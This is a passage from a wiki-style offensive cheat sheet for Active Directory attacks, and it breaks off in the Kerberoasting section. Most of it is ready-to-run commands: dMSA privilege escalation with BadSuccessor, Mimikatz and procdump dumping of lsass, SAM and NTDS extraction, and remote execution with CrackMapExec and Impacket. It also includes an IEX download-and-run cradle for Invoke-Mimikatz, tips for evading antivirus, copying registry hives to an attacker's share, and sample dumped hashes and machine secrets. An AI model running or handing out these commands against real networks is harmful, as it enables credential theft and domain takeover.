== Change Password of a User in another domain ==&lt;br /&gt;
&lt;br /&gt;
If you have ForcePasswordChange on a user in another domain you can use the command below to change the password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$UserPassword = ConvertTo-SecureString &#039;Password123&#039; -AsPlainText -Force&lt;br /&gt;
Set-DomainUserPassword -Identity &amp;quot;user.1&amp;quot; -domain internal.domain.com -AccountPassword $UserPassword&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== BadSuccessor ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ibaiC/BadSuccessor GitHub - ibaiC/BadSuccessor: A PoC for the dMSA Active Directory Domain Takeover deemed BadSuccessor]&lt;br /&gt;
&lt;br /&gt;
BadSuccessor exploits misconfigured Delegated Managed Service Account (dMSA) permissions in Windows Active Directory to escalate privileges. The tool creates malicious dMSAs that inherit the privileges of high-value service accounts, enabling lateral movement and privilege escalation in modern AD environments.&lt;br /&gt;
&lt;br /&gt;
[https://kreep.in/badsuccessor-abusing-dmsas-for-ad-domination/ BadSuccessor: Abusing dMSAs for AD Domination]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Usage:&lt;br /&gt;
  # Enumerate and list all Organizational Units you have write access to.&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  # Create the malicious dMSA in the target OU&lt;br /&gt;
  BadSuccessor escalate -targetOU  -dmsa  -targetUser  [-dc-ip ] -dnshostname  (-machine  | -user )&lt;br /&gt;
  # Cleanup malicious dMSA&lt;br /&gt;
  BadSuccessor.exe del dMSAAccountName &amp;quot;OU=ServiceAccounts,DC=example,DC=com&amp;quot;&lt;br /&gt;
Examples:&lt;br /&gt;
  BadSuccessor find&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -machine braavos$ \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
  BadSuccessor escalate \&lt;br /&gt;
    -targetOU &amp;quot;OU=Keep,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dmsa kreep_dmsa \&lt;br /&gt;
    -targetUser &amp;quot;CN=Administrator,CN=Users,DC=essos,DC=local&amp;quot; \&lt;br /&gt;
    -dnshostname kreep_dmsa \&lt;br /&gt;
    -user john.doe \&lt;br /&gt;
    -dc-ip 192.168.10.15&lt;br /&gt;
Parameters:&lt;br /&gt;
  -targetOU    DN of the OU container (e.g. OU=TestOU,DC=domain,DC=com)&lt;br /&gt;
  -dmsa        Name for the new dMSA (sAMAccountName without &#039;$&#039;)&lt;br /&gt;
  -targetUser  Full DN of the existing service account (e.g. CN=SvcUser,CN=Users,DC=domain,DC=com)&lt;br /&gt;
  -dnshostname dNSHostName to give to the new dMSA for Kerberos authentication&lt;br /&gt;
  -machine     Machine account for msDS-GroupMSAMembership. Include the $, e.g: braavos$&lt;br /&gt;
  -user        User account for msDS-GroupMSAMembership (sAMAccountName without domain)&lt;br /&gt;
  -dc-ip       (Optional) FQDN or IP of the DC to bind against for schema-aware writes&lt;br /&gt;
Note: You must specify either -machine OR -user, but not both.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Crack TGT - hashcat or John ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hashcat&lt;br /&gt;
# Check https://hashcat.net/wiki/doku.php?id=example_hashes for correct mode for TGT.&lt;br /&gt;
hashcat -a 0 -m 19500 tgt.hash rockyou.txt&lt;br /&gt;
# John the ripper&lt;br /&gt;
# Convert Kirbi to john format https://www.kali.org/tools/john/#kirbi2john&lt;br /&gt;
kirbi2john&lt;br /&gt;
# Convert ccache to john format&lt;br /&gt;
https://www.kali.org/tools/john/#ccache2john&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hash extraction (Dump hashes) ==&lt;br /&gt;
&lt;br /&gt;
Dump all the hashes in memory and locally.&lt;br /&gt;
&lt;br /&gt;
If mimikatz.exe dont work on reverse shell, try generating a msfvenom with -f psh-cmd and try again. Mimikatz should work now. It does not work with nishang invoke-powershelltcp for some reason.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Credentials Mimikatz&lt;br /&gt;
# Elevate Privileges to extract the credentials&lt;br /&gt;
privilege::debug # This should give an error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins&lt;br /&gt;
token::elevate&lt;br /&gt;
#Extract from lsass (memory)&lt;br /&gt;
sekurlsa::logonpasswords&lt;br /&gt;
#Extract from lsass (service)&lt;br /&gt;
lsadump::lsa /inject&lt;br /&gt;
#Extract from SAM&lt;br /&gt;
lsadump::sam&lt;br /&gt;
#One liner&lt;br /&gt;
mimikatz &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Invoke-Mimikatz&lt;br /&gt;
IEX (New-Object System.Net.Webclient).DownloadString(&#039;https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1&#039;)&lt;br /&gt;
Invoke-Mimikatz -DumpCreds #Dump creds from memory&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot; &amp;quot;exit&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
# Meterpreter&lt;br /&gt;
#Credentials from SAM&lt;br /&gt;
post/windows/gather/smart_hashdump&lt;br /&gt;
hashdump&lt;br /&gt;
&lt;br /&gt;
#Using kiwi module&lt;br /&gt;
load kiwi&lt;br /&gt;
creds_all&lt;br /&gt;
kiwi_cmd &amp;quot;privilege::debug&amp;quot; &amp;quot;token::elevate&amp;quot; &amp;quot;sekurlsa::logonpasswords&amp;quot; &amp;quot;lsadump::lsa /inject&amp;quot; &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
#Using Mimikatz module&lt;br /&gt;
load mimikatz&lt;br /&gt;
mimikatz_command -f &amp;quot;sekurlsa::logonpasswords&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::lsa /inject&amp;quot;&lt;br /&gt;
mimikatz_command -f &amp;quot;lsadump::sam&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Bypass Anti-Virus&lt;br /&gt;
# Procdump from SysInternals is a legitimate Microsoft tool, and is not detected by Defender. Use this tool to dump lsass process, download the dump and extract creds locally from the dump&lt;br /&gt;
#Local&lt;br /&gt;
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
#Remote, mount https://live.sysinternals.com which contains procdump.exe&lt;br /&gt;
net use Z: https://live.sysinternals.com&lt;br /&gt;
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp&lt;br /&gt;
# Extract creds from dump&lt;br /&gt;
//Load the dump&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
//Extract credentials&lt;br /&gt;
mimikatz # sekurlsa::logonPasswords&lt;br /&gt;
# Automatically done with SprayKatz https://github.com/aas-n/spraykatz.&lt;br /&gt;
./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with comsvcs.dll&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-comsvcs.dll&lt;br /&gt;
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump  lsass.dmp full&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with Task Manager&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#dumping-lsass-with-task-manager&lt;br /&gt;
&lt;br /&gt;
# Dumping lsass with procdump&lt;br /&gt;
Get-Process -Name LSASS&lt;br /&gt;
.\procdump.exe -ma 608 lsass.dmp&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
# Dump SAM hashes&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
# Dump LSA secrets&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
# Dump the NTDS.dit from target DC&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
# Dump the NTDS.dit password history from target DC&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-history&lt;br /&gt;
# Show the pwdLastSet attribute for each NTDS.dit account&lt;br /&gt;
cme smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds-pwdLastSet&lt;br /&gt;
------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
# Stealing SAM &amp;amp; SYSTEM&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/stealing-credentials#stealing-sam-and-system&lt;br /&gt;
# This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.&lt;br /&gt;
# From registry&lt;br /&gt;
# Easiest method&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
# Download to attacker&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&lt;br /&gt;
# Backup Operator - If a user is a member of Backup Operator&lt;br /&gt;
# Backup Operators can override security restrictions for the sole purpose of backing up or restoring files&lt;br /&gt;
https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets&lt;br /&gt;
# 1 - First start smb share&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
2 - Then run the command&lt;br /&gt;
 reg.py  User:Password@192.168.210.16  backup -o \\10.10.14.14\share                                                                   2 ⨯&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[!] Cannot check RemoteRegistry status. Hoping it is started...&lt;br /&gt;
[*] Saved HKLM\SAM to \\10.10.14.14\share\SAM.save&lt;br /&gt;
[*] Saved HKLM\SYSTEM to \\10.10.14.14\share\SYSTEM.save&lt;br /&gt;
[*] Saved HKLM\SECURITY to \\10.10.14.14\share\SECURITY.save&lt;br /&gt;
# 3 - After we got the databases we use secretsdump to extract the info&lt;br /&gt;
impacket-secretsdump -sam SAM.save  -security SECURITY.save  -system SYSTEM.save LOCAL&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Target system bootKey: 0xb1223a009047a376c120c3630a0f0e48&lt;br /&gt;
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&lt;br /&gt;
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5bdd6a33efe43f0dc7e3b2435579aa53:::&lt;br /&gt;
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;br /&gt;
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesnt have hash information.&lt;br /&gt;
[*] Dumping cached domain logon information (domain/username:hash)&lt;br /&gt;
[*] Dumping LSA Secrets&lt;br /&gt;
[*] $MACHINE.ACC&lt;br /&gt;
$MACHINE.ACC:plain_password_hex:dc66f30d3e8bd48b4bfb9c3f53eb66ebda1edbb7af476a9f7650476edce03326b61fabe212dfd9e6c2e06eaaffcab3c78cfd4f47cd564ef53e8eb5d855f9e998c34c5fabc5e713559e090d6e5dc149a97ed653608d5cd07864d7774f2d766512849d4fafff4030324173ccd8cb8c6a1513a348a337c6d46778e4e37bc2e2c2e369626f1f153bdf391f8c175fdae042537016a2198b8c120c738854c907a1ddddcb88aaa517af97bcee783d1d9a36ddc179f2bb5cc8a336a00863183c96384434bb9a8eee781822f51d2727cd14e3fd0841edfa7004eefa2a8e3327b457f34587642e1e91e79a24590d97b8ad6cb14ee7&lt;br /&gt;
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:d47a6d90e1c5adf4200227514e393948&lt;br /&gt;
[*] DPAPI_SYSTEM&lt;br /&gt;
dpapi_machinekey:0xf108ba9fcd3554a2abb82ff4a8d29f0679aeaae6&lt;br /&gt;
dpapi_userkey:0xe57f2322d588ce987f04d6a3b1bf31cfa35d050a&lt;br /&gt;
[*] NL$KM&lt;br /&gt;
 0000   07 E9 F2 3F 08 49 46 07  02 CE 30 4B 65 D3 86 32   ...?.IF...0Ke..2&lt;br /&gt;
 0010   6F 02 5D 36 7D E8 30 33  F4 71 94 44 98 37 CB 1A   o.]6}.03.q.D.7..&lt;br /&gt;
 0020   05 CC 76 F1 26 E2 94 E7  D3 54 78 1F EF BE E9 13   ..v.&amp;amp;....Tx.....&lt;br /&gt;
 0030   30 3B 62 CB A5 57 75 E6  78 F3 D4 55 5C 68 20 15   0;b..Wu.x..U\h .&lt;br /&gt;
NL$KM:07e9f23f0849460702ce304b65d386326f025d367de83033f47194449837cb1a05cc76f126e294e7d354781fefbee913303b62cba55775e678f3d4555c682015&lt;br /&gt;
[*] Cleaning up...&lt;br /&gt;
&lt;br /&gt;
# Extract NTDS using Secretsdump and machine account hash&lt;br /&gt;
secretsdump.py -ntds C:\Windows\NTDS\ntds.dit -system C:\Windows\System32\Config\system -dc-ip 192.168.210.16  -hashes :d47a6d90e1c5adf4200227514e393909 &#039;TESTDC01$&#039;@192.168.210.16&lt;br /&gt;
&lt;br /&gt;
# Invoke-NinjaCopy&lt;br /&gt;
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1&lt;br /&gt;
# Use PS script to make copy of SAM, SYSTEM and ntds.dit&lt;br /&gt;
Invoke-NinjaCopy.ps1 -Path &amp;quot;C:\Windows\System32\config\sam&amp;quot; -LocalDestination &amp;quot;c:\copy_of_local_sam&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Impackets - All Commands Matrix ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Tool&lt;br /&gt;
! Commands&lt;br /&gt;
! Explanation&lt;br /&gt;
|-&lt;br /&gt;
| Remote Execution&lt;br /&gt;
|&lt;br /&gt;
| Tools for executing commands remotely.&lt;br /&gt;
|-&lt;br /&gt;
| psexec.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides PSEXEC-like functionality using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| smbexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Executes commands on the target machine without using RemComSvc.&lt;br /&gt;
|-&lt;br /&gt;
| atexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| Executes a command on the target machine through the Task Scheduler service and returns the output.&lt;br /&gt;
|-&lt;br /&gt;
| wmiexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| dcomexec.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a semi-interactive shell using different DCOM endpoints.&lt;br /&gt;
|-&lt;br /&gt;
| Kerberos&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Kerberos authentication.&lt;br /&gt;
|-&lt;br /&gt;
| GetTGT.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Requests a TGT and saves it as ccache.&lt;br /&gt;
|-&lt;br /&gt;
| GetST.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] [-impersonate]&lt;br /&gt;
| Requests a Service Ticket and saves it as ccache. Supports impersonation.&lt;br /&gt;
|-&lt;br /&gt;
| GetPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves the PAC (Privilege Attribute Certificate) structure of the specified target user.&lt;br /&gt;
|-&lt;br /&gt;
| GetUserSPNs.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Finds and fetches Service Principal Names associated with normal user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| GetNPUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Lists and gets TGTs for users with &#039;Do not require Kerberos preauthentication&#039; set.&lt;br /&gt;
|-&lt;br /&gt;
| rbcd.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Handles the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.&lt;br /&gt;
|-&lt;br /&gt;
| ticketConverter.py&lt;br /&gt;
| -kirbi kirbiFile -ccache ccacheFile&lt;br /&gt;
| Converts kirbi files used by mimikatz into ccache files used by Impacket, and vice versa.&lt;br /&gt;
|-&lt;br /&gt;
| ticketer.py&lt;br /&gt;
| -template templateFile -ccache ccacheFile&lt;br /&gt;
| Creates Golden/Silver tickets from scratch or based on a template allowing customization of parameters.&lt;br /&gt;
|-&lt;br /&gt;
| raiseChild.py&lt;br /&gt;
| -user user -password pass -domain domain -dc-ip ip&lt;br /&gt;
| Implements child-domain to forest privilege escalation using Golden Tickets and ExtraSids.&lt;br /&gt;
|-&lt;br /&gt;
| Windows Secrets&lt;br /&gt;
|&lt;br /&gt;
| Tools for extracting secrets and credentials from Windows systems.&lt;br /&gt;
|-&lt;br /&gt;
| secretsdump.py&lt;br /&gt;
| -ntds ntdsFile -system systemFile -outputfile outputFile -use-vss [-lmhash LMHASH] [-nthash NTHASH]&lt;br /&gt;
| Performs various techniques to dump secrets, NTLM hashes, plaintext credentials, and Kerberos keys from a remote machine.&lt;br /&gt;
|-&lt;br /&gt;
| mimikatz.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Provides a mini shell to control a remote mimikatz RPC server.&lt;br /&gt;
|-&lt;br /&gt;
| Server Tools/MiTM Attacks&lt;br /&gt;
|&lt;br /&gt;
| Tools for performing MiTM (Man-in-the-Middle) attacks.&lt;br /&gt;
|-&lt;br /&gt;
| ntlmrelayx.py&lt;br /&gt;
| -t targetFile -tf targetFile -smb2support [-socks]&lt;br /&gt;
| Performs NTLM Relay Attacks, relaying credentials to various protocols. Supports predefined attacks and SOCKS mode.&lt;br /&gt;
|-&lt;br /&gt;
| karmaSMB.py&lt;br /&gt;
| -file fileContents -smb2support&lt;br /&gt;
| A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.&lt;br /&gt;
|-&lt;br /&gt;
| smbserver.py&lt;br /&gt;
| -share shareName -smb2support -username user -password pass&lt;br /&gt;
| A Python implementation of an SMB server. Allows setting up shares and user accounts.&lt;br /&gt;
|-&lt;br /&gt;
| WMI&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with Windows Management Instrumentation (WMI).&lt;br /&gt;
|-&lt;br /&gt;
| wmiquery.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -query query&lt;br /&gt;
| Issues WQL queries and gets descriptions of WMI objects at the target system.&lt;br /&gt;
|-&lt;br /&gt;
| wmipersist.py&lt;br /&gt;
| -target-ip ip -username user -password pass -query query [-interval interval]&lt;br /&gt;
| Creates/removes a WMI Event Consumer/Filter and executes Visual Basic based on the WQL filter or timer specified.&lt;br /&gt;
|-&lt;br /&gt;
| Known Vulnerabilities&lt;br /&gt;
|&lt;br /&gt;
| Tools for exploiting known vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| goldenPac.py&lt;br /&gt;
| -target-ip ip -user user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Exploits MS14-068, saves the golden ticket, and launches a PSEXEC session at the target.&lt;br /&gt;
|-&lt;br /&gt;
| sambaPipe.py&lt;br /&gt;
| -target-ip ip -user user -password pass -so soFile&lt;br /&gt;
| Exploits CVE-2017-7494, uploads and executes a shared library specified by the user.&lt;br /&gt;
|-&lt;br /&gt;
| smbrelayx.py&lt;br /&gt;
| -target-ip ip -user user -password pass -command command&lt;br /&gt;
| Exploits CVE-2015-0005 using an SMB Relay Attack. Tries to gather the SMB session key through NETLOGON.&lt;br /&gt;
|-&lt;br /&gt;
| SMB/MSRPC&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with SMB and MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| smbclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -list&lt;br /&gt;
| A generic SMB client for listing shares and files, renaming, uploading, downloading files, and creating/deleting directories.&lt;br /&gt;
|-&lt;br /&gt;
| addcomputer.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -computer computerName -domain domainName&lt;br /&gt;
| Adds a computer to a domain using LDAP or SAMR (SMB).&lt;br /&gt;
|-&lt;br /&gt;
| getArch.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to a target machine and gathers the OS architecture type using MSRPC.&lt;br /&gt;
|-&lt;br /&gt;
| exchanger.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Connects to MS Exchange via RPC over HTTP v2.&lt;br /&gt;
|-&lt;br /&gt;
| lookupsid.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| A Windows SID brute forcer aiming to find remote users/groups using MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| netview.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Gets a list of sessions opened at remote hosts and keeps track of them.&lt;br /&gt;
|-&lt;br /&gt;
| reg.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -command command&lt;br /&gt;
| A remote registry manipulation tool through the MSRPC Interface.&lt;br /&gt;
|-&lt;br /&gt;
| rpcdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Dumps the list of RPC endpoints and string bindings registered at the target.&lt;br /&gt;
|-&lt;br /&gt;
| rpcmap.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Scans for listening DCE/RPC interfaces and gets a list of interface UUIDs.&lt;br /&gt;
|-&lt;br /&gt;
| samrdump.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Communicates with the Security Account Manager Remote interface to list system user accounts, available resource shares, and other sensitive information.&lt;br /&gt;
|-&lt;br /&gt;
| services.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH] -action action&lt;br /&gt;
| Manipulates Windows services through the MSRPC Interface, supporting start, stop, delete, status, config, list, create, and change operations.&lt;br /&gt;
|-&lt;br /&gt;
| smbpasswd.py&lt;br /&gt;
| -target target -username user -password pass -newpassword newpass&lt;br /&gt;
| An alternative to smbpasswd for changing expired passwords remotely over SMB (MSRPC-SAMR).&lt;br /&gt;
|-&lt;br /&gt;
| MSSQL / TDS&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with MSSQL and TDS.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlinstance.py&lt;br /&gt;
| -target target -username user -password pass [-hashes LMHASH:NTHASH]&lt;br /&gt;
| Retrieves MSSQL instance names from the target host.&lt;br /&gt;
|-&lt;br /&gt;
| mssqlclient.py&lt;br /&gt;
| -target-ip ip -username user -password pass [-hashes LMHASH:NTHASH] -database database [-query query]&lt;br /&gt;
| An MSSQL client supporting SQL and Windows Authentications, including TLS.&lt;br /&gt;
|-&lt;br /&gt;
| File Formats&lt;br /&gt;
|&lt;br /&gt;
| Tools for working with various file formats.&lt;br /&gt;
|-&lt;br /&gt;
| esentutl.py&lt;br /&gt;
| -file file -action action&lt;br /&gt;
| An Extensible Storage Engine format implementation for dumping catalog, pages, and tables of ESE databases (e.g., NTDS.dit).&lt;br /&gt;
|-&lt;br /&gt;
| ntfs-read.py&lt;br /&gt;
| -target target -path path [-recursive] -output outputDir&lt;br /&gt;
| An NTFS format implementation providing a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.&lt;br /&gt;
|-&lt;br /&gt;
| registry-read.py&lt;br /&gt;
| -file hiveFile -key registryKey -recursive&lt;br /&gt;
| A Windows Registry file format implementation for parsing offline registry hives.&lt;br /&gt;
|-&lt;br /&gt;
| Other&lt;br /&gt;
|&lt;br /&gt;
| Miscellaneous tools.&lt;br /&gt;
|-&lt;br /&gt;
| findDelegation.py&lt;br /&gt;
| -dc-ip ip -user user -password pass&lt;br /&gt;
| Lists all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.&lt;br /&gt;
|-&lt;br /&gt;
| GetADUsers.py&lt;br /&gt;
| -dc-ip ip -user user -password pass [-hashes LMHASH:NTHASH] -outputfile outputFile&lt;br /&gt;
| Gathers data about the domain&#039;s users and their corresponding email addresses, including last logon and last password set attributes.&lt;br /&gt;
|-&lt;br /&gt;
| Get-GPPPassword.py&lt;br /&gt;
| -gpp gppFile -output outputDir&lt;br /&gt;
| Extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Can parse GPP XML files offline.&lt;br /&gt;
|-&lt;br /&gt;
| mqtt_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A simple MQTT example for testing different login options and can be adapted for brute force attacks.&lt;br /&gt;
|-&lt;br /&gt;
| rdp_check.py&lt;br /&gt;
| -target target -port port -users usersFile -passwords passwordsFile&lt;br /&gt;
| A partial implementation of [MS-RDPBCGR] and [MS-CREDSSP] to test whether an account is valid on the target host.&lt;br /&gt;
|-&lt;br /&gt;
| sniff.py&lt;br /&gt;
| -interface interface -count count&lt;br /&gt;
| A simple packet sniffer using the pcapy library to listen for packets in transit over the specified interface.&lt;br /&gt;
|-&lt;br /&gt;
| sniffer.py&lt;br /&gt;
| -interface interface -count count [-protocols protocols]&lt;br /&gt;
| A simple packet sniffer using a raw socket to listen for packets in transit corresponding to the specified protocols.&lt;br /&gt;
|-&lt;br /&gt;
| ping.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|-&lt;br /&gt;
| ping6.py&lt;br /&gt;
| -target target -count count&lt;br /&gt;
| A simple IPv6 ICMP ping tool using ICMP echo and echo-reply packets to check the status of a host.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Kerberoast ==&lt;br /&gt;
&lt;br /&gt;
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a &amp;quot;user&amp;quot;&lt;br /&gt;
account, extract the encrypted blob that was encrypted using the user&#039;s password and bruteforce it offline.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## PowerView:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-NetUser -SPN&lt;br /&gt;
#Get every available SPN account, request a TGS and dump its hash&lt;br /&gt;
Invoke-Kerberoast&lt;br /&gt;
#Requesting the TGS for a single account:&lt;br /&gt;
Request-SPNTicket&lt;br /&gt;
#Export all tickets using Mimikatz&lt;br /&gt;
Invoke-Mimikatz -Command &#039;&amp;quot;kerberos::list /export&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
## AD Module:&lt;br /&gt;
#Get User Accounts that are used as Service Accounts&lt;br /&gt;
Get-ADUser -Filter {ServicePrincipalName -ne &amp;quot;$null&amp;quot;} -Properties ServicePrincipalName&lt;br /&gt;
&lt;br /&gt;
## Impacket:&lt;br /&gt;
python GetUserSPNs.py /: -outputfile&lt;br /&gt;
&lt;br /&gt;
## Rubeus:&lt;br /&gt;
#Kerberoasting and outputing on a file with a spesific format&lt;br /&gt;
Rubeus.exe kerberoast /outfile: /domain:&lt;br /&gt;
